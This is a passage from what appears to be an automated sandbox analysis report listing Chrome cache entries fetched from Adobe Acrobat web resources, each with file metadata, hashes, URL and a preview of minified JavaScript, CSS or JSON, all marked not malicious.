Preview:	window.UserVoice = {events:window.UserVoice\|\|[],push:function(x){window.UserVoice.events.push(x)},account:{"active_widgets":[],"campaign":"footer_poweredby","name":"Adobe","white_labeled":false,"widget2_domain":"acrobat.uservoice.com","subdomain_ssl_host":"acrobat.uservoice.com","subdomain_site_host":"acrobat.uservoice.com","subdomain_key":"acrobat","subdomain_id":496015,"client_key":"6gNXXegDB6rtHARrNKRF8w","client_options":null,"satisfaction_autoprompt_enabled":false,"messages":{"Loading":"Loading","OpenContactWidget":"Open Contact Widget","OpenFeedbackWidget":"Open Feedback Widget"},"has_ticketing_system":false,"has_feedback_system":true,"has_satisfaction":false,"private_site_enabled":false,"source_version":1712154756,"deactivated":false},client_widgets:{},manifest:{"tab-left-dark-no-bullhorn":"/pkg/clients/widget2/tab-left-dark-no-bullhorn-9669fb4a9d79416e9dc17618c9ed226faf8171ce461449f1282d6fcc2d6aa338.png","tab-left-light-no-bullhorn":"/pkg/clients/widget2/tab-left-light-no-bullh

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64886)
Category:	downloaded
Size (bytes):	170927
Entropy (8bit):	4.911927067516898
Encrypted:	false
SSDEEP:
MD5:	F1502FAC113B15D77B859C2478D9B136
SHA1:	754D39451C9EEB8A596A4AA830CAE09C783AA3E5
SHA-256:	772DEA74AC13E776173863433338891757EA037A87735668D4908BC4143F650B
SHA-512:	B46E168084CEB8DEE24C6A000933DFD6609A10494CC33D8719A72F3562C7C859F5A9A2FCC970E21A6E065A91147FF6C2140FAADA04A9A354DAD26BB42BFD0041
Malicious:	false
Reputation:	unknown
URL:	https://prod.adobeccstatic.com/utilnav/9.2/utilitynav.css
Preview:	/. Copyright 2018 Adobe Systems Incorporated. All rights reserved.. * This file is licensed to you under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License. You may obtain a copy. * of the License at http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software distributed under. * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS. * OF ANY KIND, either express or implied. See the License for the specific language. * governing permissions and limitations under the License.. */...utilnav-container html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}.utilnav-container body{margin:0}.utilnav-container article,.utilnav-container aside,.utilnav-container footer,.utilnav-container header,.utilnav-container nav,.utilnav-container section{display:block}.utilnav-container h1{font-size:2em;margin:.67em 0}.

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.3158230035695615
Encrypted:	false
SSDEEP:
MD5:	3E090E08D95EEECF3E3500335B6903AC
SHA1:	585145AD697A1D80A591D499A3391B3D508C88D7
SHA-256:	803B67EA86C7F9DE8043372B7D0C585EC0C7E06479EE79AE4D149E17A1A7D737
SHA-512:	E1EBBB27EB7F77A8C4F938F88768A3AE5AE5976F9F7A003E2DD222904A441A4C22FD7E9D3DA8330DF775C3AB30A72E21E495B51DD603B859AA913E8A723D028E
Malicious:	false
Reputation:	unknown
Preview:	{"error_code":"403000","message":"Api Key is required"}.

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	367102
Entropy (8bit):	5.782676009293982
Encrypted:	false
SSDEEP:
MD5:	DE623D4444E16BF3BB4BD723A1BDE1C3
SHA1:	1124890E12672582E80C85D3F2BB31D24618C4C1
SHA-256:	FFCF56342ABA3C9892167E2371A2EE3105D0C2FB9DA36C2F51AA4BC710B7B166
SHA-512:	0D8F93FCF4EB9EE2AA70A51DCBE21F1292B4B23B22E7451A2314F36405E2D067E7C884F697D3CED6DE2F6B6B93245D94F52884BBCEBF1953315CE8A89F6CB656
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-side-nav-dropin/3.0.2_1.204.0/bootstrap.js
Preview:	(()=>{var e,t,r={Faz6:(e,t,r)=>{"use strict";t.z=function A4uOpenIn(e){var t=_extends({},e);return o.default.createElement("svg",_extends({viewBox:"0 0 36 36"},t,t),o.default.createElement("path",{fillRule:"evenodd",d:"M33,2H3A1,1,0,0,0,2,3V17a1,1,0,0,0,1,1H5a1,1,0,0,0,1-1V6H30V30H19a1,1,0,0,0-1,1v2a1,1,0,0,0,1,1H33a1,1,0,0,0,1-1V3A1,1,0,0,0,33,2Z"}),o.default.createElement("path",{fillRule:"evenodd",d:"M18.63574,27.7644A.78433.78433,0,0,0,19.19629,28,.80333.80333,0,0,0,20,27.24573V16.49585A.4973.4973,0,0,0,19.50415,16H8.75439A.80288.80288,0,0,0,8,16.80371a.78548.78548,0,0,0,.23535.56055L12.02148,21.15,2.97891,30.19236a1,1,0,0,0,0,1.41422l1.41433,1.41434a1,1,0,0,0,1.41423,0l9.04215-9.04239Z"}))};var o=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}}(r("YWiy"));function _extends(){return _extends=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6130)
Category:	downloaded
Size (bytes):	6188
Entropy (8bit):	5.487592988231381
Encrypted:	false
SSDEEP:
MD5:	7ED0F1EF722F84DEFB521F8E88FB1F27
SHA1:	926EE03A0F189B7EB317AD870351071BA4B5F119
SHA-256:	210B615F9F81400EFA0AB8DFC93A2241FC38359E2C4598347531580BFF8895E4
SHA-512:	FAB6D918E608C8A0C08CB65F19BEC5A9D9EE5E24B9831E4ACB9C185ED1BA7E8E64B5B8C8C1BB1A36BB2A2E1FC5345D3E063BCB47C4C6053B7EFF2343951EF04D
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-global-nav-dropin/3.19.1_3.312.0/modal-container-chunk.js
Preview:	(self["webpackJsonp-global-nav"]=self["webpackJsonp-global-nav"]\|\|[]).push([[863],{"0VNB":(e,t,r)=>{var n=r("5qvf"),o=r("bF6B"),i=o;i.v1=n,i.v4=o,e.exports=i},"2a4/":e=>{for(var t=[],r=0;r<256;++r)t[r]=(r+256).toString(16).substr(1);e.exports=function bytesToUuid(e,r){var n=r\|\|0,o=t;return[o[e[n++]],o[e[n++]],o[e[n++]],o[e[n++]],"-",o[e[n++]],o[e[n++]],"-",o[e[n++]],o[e[n++]],"-",o[e[n++]],o[e[n++]],"-",o[e[n++]],o[e[n++]],o[e[n++]],o[e[n++]],o[e[n++]],o[e[n++]]].join("")}},JTTR:e=>{var t="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)\|\|"undefined"!=typeof msCrypto&&"function"==typeof window.msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto);if(t){var r=new Uint8Array(16);e.exports=function whatwgRNG(){return t(r),r}}else{var n=new Array(16);e.exports=function mathRNG(){for(var e,t=0;t<16;t++)0==(3&t)&&(e=4294967296*Math.random()),n[t]=e>>>((3&t)<<3)&255;return n}}},"5qvf":(e,t,r)=>{var n,o,i=r("JTTR"),s=r("2a4/"),a=0,c=0;e.exports

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (29715)
Category:	downloaded
Size (bytes):	29761
Entropy (8bit):	5.314452365183015
Encrypted:	false
SSDEEP:
MD5:	4BAD83408D238976D6A8EAA5C1534091
SHA1:	91E44C818D907199ACFE13423FC8A562491ABBB8
SHA-256:	FB54EE5F77F197FC062E0B64531259D68BD0ECA0FFC7506229A1653CE4378DDD
SHA-512:	55013B86680A815A1EE2BAF4AF71609088A895DC3061B26E239DA550FD2A06A7E0594313078B79A2778E846453E43C54B3E7E98C2D31B5928A6EAEB82406AC57
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-web-app-dropin/3.18.0_2.129.0/bootstrap.js
Preview:	(()=>{var e,r,t,a,n={x6CA:(e,r,t)=>{"use strict";t.d(r,{i:()=>getLouserzedMessage});var a=t("Zm2D"),n=t("plsW");const c=n.logging.getLogger("MessageUtil"),getLouserzedMessage=(e,r,o)=>new Promise((i=>{t.p=n.discovery.dropins[e].public_path;const l=n.locale2.getLocale();t("AWKe")(`./${l}.json`).then((e=>{const t=(0,a.createIntlCache)(),l=(0,a.createIntl)({locale:n.locale2.getLocale(),messages:e},t);e[r]?i(l.formatMessage({id:r},o)):(c.error(`No translation for ${r}`),i(""))}))}))},z0w2:(e,r,t)=>{var a=t("YWiy");function DcIlluMetaphorBuildingPartnership(e){return a.createElement("svg",e,[a.createElement("path",{d:"m36.91587,26.87092c-.19702.52515-.40137,1.05249-.61499,1.59839-.21387.54614-.43726,1.09131-.66846,1.66089-.20386.48315-.40991.95923-.62061,1.43848-.21045.47949-.43018.95215-.65527,1.4248s-.45532.94238-.69287,1.40625c-.2373.46362-.48315.92676-.73682,1.38501-.75708.29956-1.72607.71436-2.76855,1.21436-1.09058.51855-2.15137,1.09766-3.17749,1.73438-.9873.60181-1.90088,1.31714-2.721

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56817), with no line terminators
Category:	downloaded
Size (bytes):	56817
Entropy (8bit):	5.120819831242151
Encrypted:	false
SSDEEP:
MD5:	3E49ABD556BF0FAAA6D165FE66146E90
SHA1:	7E265A832FD1D29F8402A251D921879E516038E3
SHA-256:	D09069AC9ED675C69FF5C159CDA6F444A94085A1623F2AB91D6F4FB9F71E8879
SHA-512:	272F33F77273ED1D89406D1BFD8262B2C3637E271515506FDD30924C330BAB3FD4FB365D119E23BD981FC7ED2DAB1FE597B0E82512AB187A0AEE89C6E981FC05
Malicious:	false
Reputation:	unknown
URL:	https://client.messaging.adobe.com/latest/AdobeMessagingClient.css
Preview:	.adbMsgClientWrapper #adbmsgContainer *, .adbMsgClientWrapper #adbmsgContainer :after, .adbMsgClientWrapper #adbmsgContainer :before{box-sizing:border-box}.adbMsgClientWrapper #adbmsgContainer .outwardAnimate{transition:opacity .3s;animation-name:a;animation-duration:.3s;animation-timing-function:cubic-bezier(0,0,.4,1);-webkit-transition:opacity .3s;-webkit-animation-name:a;-webkit-animation-duration:.3s;-webkit-animation-timing-function:cubic-bezier(0,0,.4,1);-moz-transition:opacity .3s;-moz-animation-name:a;-moz-animation-duration:.3s;-moz-animation-timing-function:cubic-bezier(0,0,.4,1)}@keyframes a{0%{transform:scale(.83);opacity:0}to{transform:scale(1);opacity:1}}.adbMsgClientWrapper #adbmsgContainer .adbmsgCtaDarkest{background-color:#1d1d1d!important;border:2px solid #a2a2a2!important;background-image:url(assets/cta_darkest.svg)!important}.adbMsgClientWrapper #adbmsgContainer .adbmsgCtaDarkest:hover{border-color:#efefef!important}.adbMsgClientWrapper #adbmsgContainer .botauthorC

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65468)
Category:	downloaded
Size (bytes):	433807
Entropy (8bit):	5.701947098520023
Encrypted:	false
SSDEEP:
MD5:	4D898F0E68AF65735F36FC0F0EAE9BF9
SHA1:	555B542DF2ED960092F37B1F4937831897B12B78
SHA-256:	0BB81B9FDE78C9EE50E977B64E7A34B9E9147F16F9612AA5D16B2B351FD99CF3
SHA-512:	52FB50F7D85A2C4DF1CD82153E94954D5AFAC09EB3A26E158D2670DD1BE92A8EC6567BB2C4C4EEBEA0992FC001A19C7787E12F6D30CA17CB46DE3B8357CC94F1
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-genai-dropin/3.22.1_1.130.3/bootstrap.js
Preview:	/! For license information please see bootstrap.js.LICENSE.txt /.(()=>{var e,t,r,n,o={YgZo:(e,t,r)=>{e.exports=r("EtOT")},CTXV:(e,t,r)=>{"use strict";r.d(t,{Ow:()=>n,T7:()=>a,hG:()=>o,vs:()=>s});const n={red:20,green:115,blue:230,alpha:.2},o="ACTIVE",a={background:"Highlight",text:"HighlightText",borderColor:"Highlight"},s={background:"ButtonFace",text:"ButtonText"};Object.freeze({LIGHT:"light",DARK:"dark"}),Object.freeze({DEFAULT_LIGHT:{color:"var(--spectrum-global-color-gray-800)",background:"transparent"},DEFAULT_DARK:{color:"var(--spectrum-global-color-gray-700)",background:"transparent"},HOVER:{color:"var(--spectrum-global-color-gray-900)",background:"transparent"},ACTIVE:{color:"var(--spectrum-global-color-gray-900)",background:"var(--spectrum-global-color-gray-300)"},SELECTED:{color:"var(--spectrum-global-color-gray-900)",background:"var(--spectrum-global-color-gray-300)"}}),Object.freeze({DELAY:"500",PLACEMENT:Object.freeze({TOP:"top",BOTTOM:"bottom",LEFT:"left",RIGHT:"right"

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4557)
Category:	downloaded
Size (bytes):	4624
Entropy (8bit):	5.13873724906834
Encrypted:	false
SSDEEP:
MD5:	65B992FED2C7E849A349A8C195BF14F4
SHA1:	210472FF3A7DE182EB206A904D180C6CD4E119F6
SHA-256:	07FD8D65CA2CAC79E3FD2A87165A70BC6507D5BDF93E3096F593392021798578
SHA-512:	3087BBCB85A0ACAAC1F8E01034366233100EB61AB08254BE43E3991ED38C879914FBC699C1195DFD036F4B73A91BA57E290798C21D278C10FC6163884DD77484
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dcpreviewdropin/3.0.2_2.709.0/keyboardshortcutprovider-chunk.js
Preview:	"use strict";(self["webpackJsonp-preview"]=self["webpackJsonp-preview"]\|\|[]).push([[1634],{HMU2:(t,r,s)=>{s.r(r),s.d(r,{default:()=>KeyboardShortcutsProvider});class KeyboardShortcut{constructor(t,r,s){this.id=void 0,this.shortcutExprs=void 0,this.handler=void 0,this.id=t,this.shortcutExprs=r,this.handler=s}}var e=s("plsW"),o=s("WLLa"),h=s("vPEr");const getFormattedShortcutExpr=t=>{let r="";return t.altKey&&(r+="alt_"),t.ctrlKey&&(r+="ctrl_"),t.metaKey&&(r+="meta_"),t.shiftKey&&(r+="shift_"),`${r}${sanitiseEventCode(t.code.toLowerCase())}`},formatShortcutExpr=t=>{const r=t.toLowerCase().split("+").map(sanitiseModifierKeys).sort(),s=r.filter(isModifier).join("_"),e=r.filter((t=>!isModifier(t))).pop();return s?e?`${s}_${e}`:null:e},getDisplayLabel=t=>{const r=sanitiseModifierKeys(t.toLowerCase());return o.jx[r]?o.jx[r]:t},sanitiseEventCode=t=>{let r=t;for(const t of o.PA)r=r.replace(t,"");return r},sanitiseModifierKeys=t=>"command"===t\|\|"cmd"===t?"meta":"control"===t?"ctrl":t,isModifier=

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (39619)
Category:	downloaded
Size (bytes):	39678
Entropy (8bit):	5.61843243095442
Encrypted:	false
SSDEEP:
MD5:	D6284BBD389AD6D0B939757A53A00DFE
SHA1:	D5908C2893DBC35EAA0D3549A8BDE49A4D530B42
SHA-256:	28E590871A46B143D40A06AB8975CD2CF28A7A633AFF21CBE6843E7148D439A9
SHA-512:	6F4D26429A76C07D42B652D7CD96DDF69FCC362C8C637E9D3EB0FC166796285FA66DB9B07DDE849DC35F94EF47569D8FDE04EDAE9311C6C7F5C940C1C51C12C5
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-genai-dropin/3.22.1_1.130.3/multiDocProvider-chunk.js
Preview:	(self["webpackJsonp-genai"]=self["webpackJsonp-genai"]\|\|[]).push([[979],{AgIM:(e,t,i)=>{"use strict";t.X=function A4uAddToSelection(e){var t=_extends({},e);return n.default.createElement("svg",_extends({viewBox:"0 0 36 36"},t,t),n.default.createElement("path",{fillRule:"evenodd",d:"M24.16,5.443l1.028-1.777a15.947,15.947,0,0,0-5.4-1.606V4.126A13.883,13.883,0,0,1,24.16,5.443Z"}),n.default.createElement("path",{fillRule:"evenodd",d:"M29.53,10.066l1.8-1.035a16.133,16.133,0,0,0-3.852-3.97L26.44,6.849A14.066,14.066,0,0,1,29.53,10.066Z"}),n.default.createElement("path",{fillRule:"evenodd",d:"M31.933,16.663H34a15.91,15.91,0,0,0-1.379-5.291L30.83,12.4A13.9,13.9,0,0,1,31.933,16.663Z"}),n.default.createElement("path",{fillRule:"evenodd",d:"M31.933,19.337a13.9,13.9,0,0,1-1.1,4.258l1.791,1.032A15.91,15.91,0,0,0,34,19.337Z"}),n.default.createElement("path",{fillRule:"evenodd",d:"M26.44,29.151l1.033,1.788a16.131,16.131,0,0,0,3.852-3.97l-1.8-1.035A14.066,14.066,0,0,1,26.44,29.151Z"}),n.default.createE

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	180703
Entropy (8bit):	5.371233529359274
Encrypted:	false
SSDEEP:
MD5:	4470F9315DB3A68D48E8F5BCB6D705D0
SHA1:	4D5F7CD2C96A03E2F51A329E18ED60BEECBDF38F
SHA-256:	1A0EE2511D089CB95D707FDE3FC4BA73CED3C37E262320BD57A40840EF21A217
SHA-512:	AFFD47A0BC37B4D320E55EF06CA2446D118DEDD7F0E64F49B9E2EC4984391DF56394722BCB3BFFA27CD509CEEB990CFE873EE1A0B7055FC744A8E88DC299A722
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-fillsign2-dropin/3.17.1_1.306.0/fillsignoverlay-chunk.js
Preview:	(self["webpackJsonp-fillsign2"]=self["webpackJsonp-fillsign2"]\|\|[]).push([[973],{Lr2o:(e,t,i)=>{e.exports=i("vWpX")},vWpX:(e,t,i)=>{"use strict";var o=i("AAps");t.default=void 0;var r,n,a,s=o(i("2Xkx")),l=o(i("b5pe")),c=o(i("nqKB")),d=o(i("QNma")),u=o(i("vPca")),p=o(i("khqL")),h=o(i("qavZ")),f=o(i("uYxp")),g=o(i("qJYQ")),b=o(i("i44B")),y=o(i("uqI5")),m=i("0sBc"),v=o(i("PZ3W")),w=o(i("uT4t")),_=o(i("vsH4")),S=i("d1ru"),P=o(i("K93r")),T=o(i("/hLX")),E=o(i("YWiy")),D=o(i("adDv")),x=o(i("Fsu/"));i("C8sF");var O=function getLabel(e){return"string"==typeof e?e:e.label},C="-listbox",F="-option-",R=(0,w.default)(r=(0,y.default)((a=n=function(e){function Autocomplete(e){var t;return(0,d.default)(this,Autocomplete),t=(0,p.default)(this,(0,h.default)(Autocomplete).call(this,e)),(0,b.default)((0,f.default)(t),"state",{value:"",showMenu:!1,results:[],selectedIndex:-1,isFocused:!1}),t.autocompleteId=(0,_.default)(),t}var t,i;return(0,g.default)(Autocomplete,e),(0,u.default)(Autocomplete,[{key:"UNSAF

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9311)
Category:	downloaded
Size (bytes):	9366
Entropy (8bit):	5.177867531766508
Encrypted:	false
SSDEEP:
MD5:	05616E808988C14EEBB4984FE9364C64
SHA1:	4C5699E28D27295794B526D8E606F6CCE51CF2F7
SHA-256:	FB6A1D4A46A4BA0F3ACF3C57DE19B77FA3ED0E7B0575E59F0C1FDD192207FA1F
SHA-512:	54161595E148D60F8F3EC2004F2768C9AB56A1DC8978AA870743E8935E32D2D8BEE80087ED1CB5B7BFCAB6CF12F9B49E91C89F6DFF1996ACADB5B2C0FB3EE49F
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-global-nav-dropin/3.19.1_3.312.0/focus-region-chunk.js
Preview:	"use strict";(self["webpackJsonp-global-nav"]=self["webpackJsonp-global-nav"]\|\|[]).push([[396],{EptA:(e,t,r)=>{r.r(t),r.d(t,{default:()=>FocusRegionProvider});var i=r("nia0"),o=r("plsW"),n=r("1UgG");const s=class CyclicCounter{constructor(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Number.MAX_SAFE_INTEGER;if(this.counter=-1,this.upperLimit=Number.MAX_SAFE_INTEGER,null===e\|\|e<0)throw new RangeError("Argument 'upperLimit' must be a positive number.");this.upperLimit=e}get value(){return this.counter}get max(){return this.upperLimit-1}increment(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1;if(e<1)throw new RangeError(`Parameter 'value' (${e}) must be a positive number.`);return this.counter=(this.counter+e)%this.upperLimit,this.counter}decrement(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1;if(e<1)throw new RangeError(`Parameter 'value' (${e}) must be a positive number.`);this.counter=this.counter<0?0:this.counter;const t=this.count

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	76730
Entropy (8bit):	5.799173313820804
Encrypted:	false
SSDEEP:
MD5:	39A90B43BEBE6B5026802C89A2320FBD
SHA1:	5A48FBD0E2777D8B555129079670B44C32A9A310
SHA-256:	0DA8E9BC6704B91D6DF232D6AC6DA2C6B2AC1AE3408D6AF97FD217B62F440079
SHA-512:	DC0DF3DC4F17B089C669715A6A8226E7DA5EE2AECD4619A115D6E4F87DC0F8A0A7B06F38F7C4DFBDB3132B737348A98D7C1C04C03D2D7B5CED526FC940AA4576
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-viewer-dropin/3.0.2_1.619.0/bootstrap.js
Preview:	(()=>{var e,t,r,i,o={"6jw6":(e,t,r)=>{e.exports=r("EtOT")},AXyZ:e=>{"use strict";e.exports=function(e){var t=[];return t.toString=function toString(){return this.map((function(t){var r=function cssWithMappingToString(e,t){var r=e[1]\|\|"",i=e[3];if(!i)return r;if(t&&"function"==typeof btoa){var o=function toComment(e){var t=btoa(unescape(encodeURIComponent(JSON.stringify(e)))),r="sourceMappingURL=data:application/json;charset=utf-8;base64,".concat(t);return"/# ".concat(r," /")}(i),n=i.sources.map((function(e){return"/# sourceURL=".concat(i.sourceRoot\|\|"").concat(e," /")}));return[r].concat(n).concat([o]).join("\n")}return[r].join("\n")}(t,e);return t[2]?"@media ".concat(t[2]," {").concat(r,"}"):r})).join("")},t.i=function(e,r,i){"string"==typeof e&&(e=[[null,e,""]]);var o={};if(i)for(var n=0;n<this.length;n++){var a=this[n][0];null!=a&&(o[a]=!0)}for(var s=0;s<e.length;s++){var l=[].concat(e[s]);i&&o[l[0]]\|\|(r&&(l[2]?l[2]="".concat(r," and ").concat(l[2]):l[2]=r),t.push(l))}},t}},DM6e

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65462)
Category:	downloaded
Size (bytes):	102017
Entropy (8bit):	5.575255552828242
Encrypted:	false
SSDEEP:
MD5:	BF88EBC2F62709D5D19822E60D9DF084
SHA1:	BC1BC2FF92784ECC83F24C0CB6ABF9D77388EA61
SHA-256:	A38701D1813B41487A1A9E4843927D0740C48B715A21168C800737D98B9C7F28
SHA-512:	C462977E83C76CCF83D1E07255C49721B41D3AC0F22983EDBC3C7C27760089BCE997D05ADC789A227FB25814B3FC5ED406A463ADA81066F106F6376910C27EF0
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-rendition-provider/3.19.2_6.30.0/AJS/build/acrobatProxy_we.js
Preview:	/! For license information please see acrobatProxy_we.js.LICENSE.txt /.var AcrobatJS=function(P){var C={};function r(j){if(C[j])return C[j].exports;var q=C[j]={i:j,l:!1,exports:{}};return P[j].call(q.exports,q,q.exports,r),q.l=!0,q.exports}return r.m=P,r.c=C,r.d=function(P,C,j){r.o(P,C)\|\|Object.defineProperty(P,C,{enumerable:!0,get:j})},r.r=function(P){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(P,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(P,"__esModule",{value:!0})},r.t=function(P,C){if(1&C&&(P=r(P)),8&C)return P;if(4&C&&"object"==typeof P&&P&&P.__esModule)return P;var j=Object.create(null);if(r.r(j),Object.defineProperty(j,"default",{enumerable:!0,value:P}),2&C&&"string"!=typeof P)for(var q in P)r.d(j,q,function(C){return P[C]}.bind(null,q));return j},r.n=function(P){var C=P&&P.__esModule?function(){return P.default}:function(){return P};return r.d(C,"a",C),C},r.o=function(P,C){return Object.prototype.hasOwnProperty.call(P,C)},r.p="",r(r.s=

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.638602966833698
Encrypted:	false
SSDEEP:
MD5:	CDD7A3CA40E28A36C01C6BF42E761142
SHA1:	A383642CC2DAFDD8CAE84576AEBEB71BA318E049
SHA-256:	39A3E129FE972509880189EB29DB5BBF8C5DF9A2A9D9E39096DFC1EE2664FEF3
SHA-512:	047D0CEA1842690126D7FA1C5C5F637744CBE5CD51AFB47FC10891B45AA8D36C72CDB618B4A424E4A94EF4A783417402B815D8A4A5962779DF9D5DA229AFFC9D
Malicious:	false
Reputation:	unknown
Preview:	{"error":{"code":"UnsupportedMimeType","message":"This end point only allows an accept header of application/vnd.adobe.skybox+json or application/vnd.adobe.dex+json with an appropriate version number"}}

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (61156)
Category:	downloaded
Size (bytes):	61204
Entropy (8bit):	5.554322776913746
Encrypted:	false
SSDEEP:
MD5:	86619F47BBD99466E782F9441B4E0269
SHA1:	E0D9D0A2AB465B4354E0BA7CA305D3C8C6CB289B
SHA-256:	A32B76D5BC417C7F87ABA59B0A92190FF784D1ED95C713DA45FEA966A5BD8E82
SHA-512:	BA979C0674A68BD525A5A48B9D654707909EF697B361CA139EEDDD1440421982BC3C29ADCF1E4425BD5B311E1D11B8357B66AA1D4EA13CF0A5E63F026A7BF445
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-files-dropin/3.18.0_2.36.0/bootstrap.js
Preview:	(()=>{var e,t,r,o,n={"6jw6":(e,t,r)=>{e.exports=r("EtOT")},AXyZ:e=>{"use strict";e.exports=function(e){var t=[];return t.toString=function toString(){return this.map((function(t){var r=function cssWithMappingToString(e,t){var r=e[1]\|\|"",o=e[3];if(!o)return r;if(t&&"function"==typeof btoa){var n=function toComment(e){var t=btoa(unescape(encodeURIComponent(JSON.stringify(e)))),r="sourceMappingURL=data:application/json;charset=utf-8;base64,".concat(t);return"/# ".concat(r," /")}(o),i=o.sources.map((function(e){return"/# sourceURL=".concat(o.sourceRoot\|\|"").concat(e," /")}));return[r].concat(i).concat([n]).join("\n")}return[r].join("\n")}(t,e);return t[2]?"@media ".concat(t[2]," {").concat(r,"}"):r})).join("")},t.i=function(e,r,o){"string"==typeof e&&(e=[[null,e,""]]);var n={};if(o)for(var i=0;i<this.length;i++){var a=this[i][0];null!=a&&(n[a]=!0)}for(var s=0;s<e.length;s++){var l=[].concat(e[s]);o&&n[l[0]]\|\|(r&&(l[2]?l[2]="".concat(r," and ").concat(l[2]):l[2]=r),t.push(l))}},t}},qN0T

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	581618
Entropy (8bit):	5.745272066258426
Encrypted:	false
SSDEEP:
MD5:	2F0CF55A85F4F96C749D5F0EF2EC5C9C
SHA1:	FACD44E5191762EBEE8B50056DD80C80E9EF5B6D
SHA-256:	66F167E6EDB2D1537CA66B9F7885DB0440425D25DBA28E0259DC55236C71F864
SHA-512:	F600A3E21EC7F59249B40B93AAD1C26B2375533983D7C761AB61281A401465A3432CB4A954E3C92DDB76C7A84FF0445C5D25D67D52217E997B6DEBCA12C6EDCC
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-viewer-dropin/3.0.2_1.619.0/dc-view-sdk.js
Preview:	(()=>{var e,t,n,r,o={WpfX:(e,t,n)=>{e.exports=n("FVlp")},FVlp:(e,t,n)=>{"use strict";var r=n("AAps");t.default=void 0;var o=r(n("QNma")),a=r(n("vPca")),s=r(n("khqL")),l=r(n("qavZ")),c=r(n("qJYQ")),d=r(n("i44B")),p=r(n("AAps")),u=r(n("JRhQ")),g=r(n("PZ3W")),m=n("leI+"),_=n("JF8t"),f=n("f6H/"),h=r(n("/hLX")),E=r(n("YWiy"));function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}n("JVsi");var v={"cs-CZ":(0,p.default)(n("MPPe")).default,"da-DK":(0,p.default)(n("yaW+")).default,"de-DE":(0,p.default)(n("nHnl")).default,"en-US":(0,p.default)(n("h9Oz")).default,"es-ES":(0,p.default)(n("lNyY")).default,"fi-FI":(0,p.default)(n("v8eo")).default,"fr-FR":(0,p.default)(n("yaWC")).default,"hu-HU":(0,p.default)(n("CpGt")).default,"it-IT":(0,p.default)(n("ud7A")).default,"ja-JP":(0,p.default)(n("y+mY")).default,"ko-KR":(0,p.default)(

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12488)
Category:	downloaded
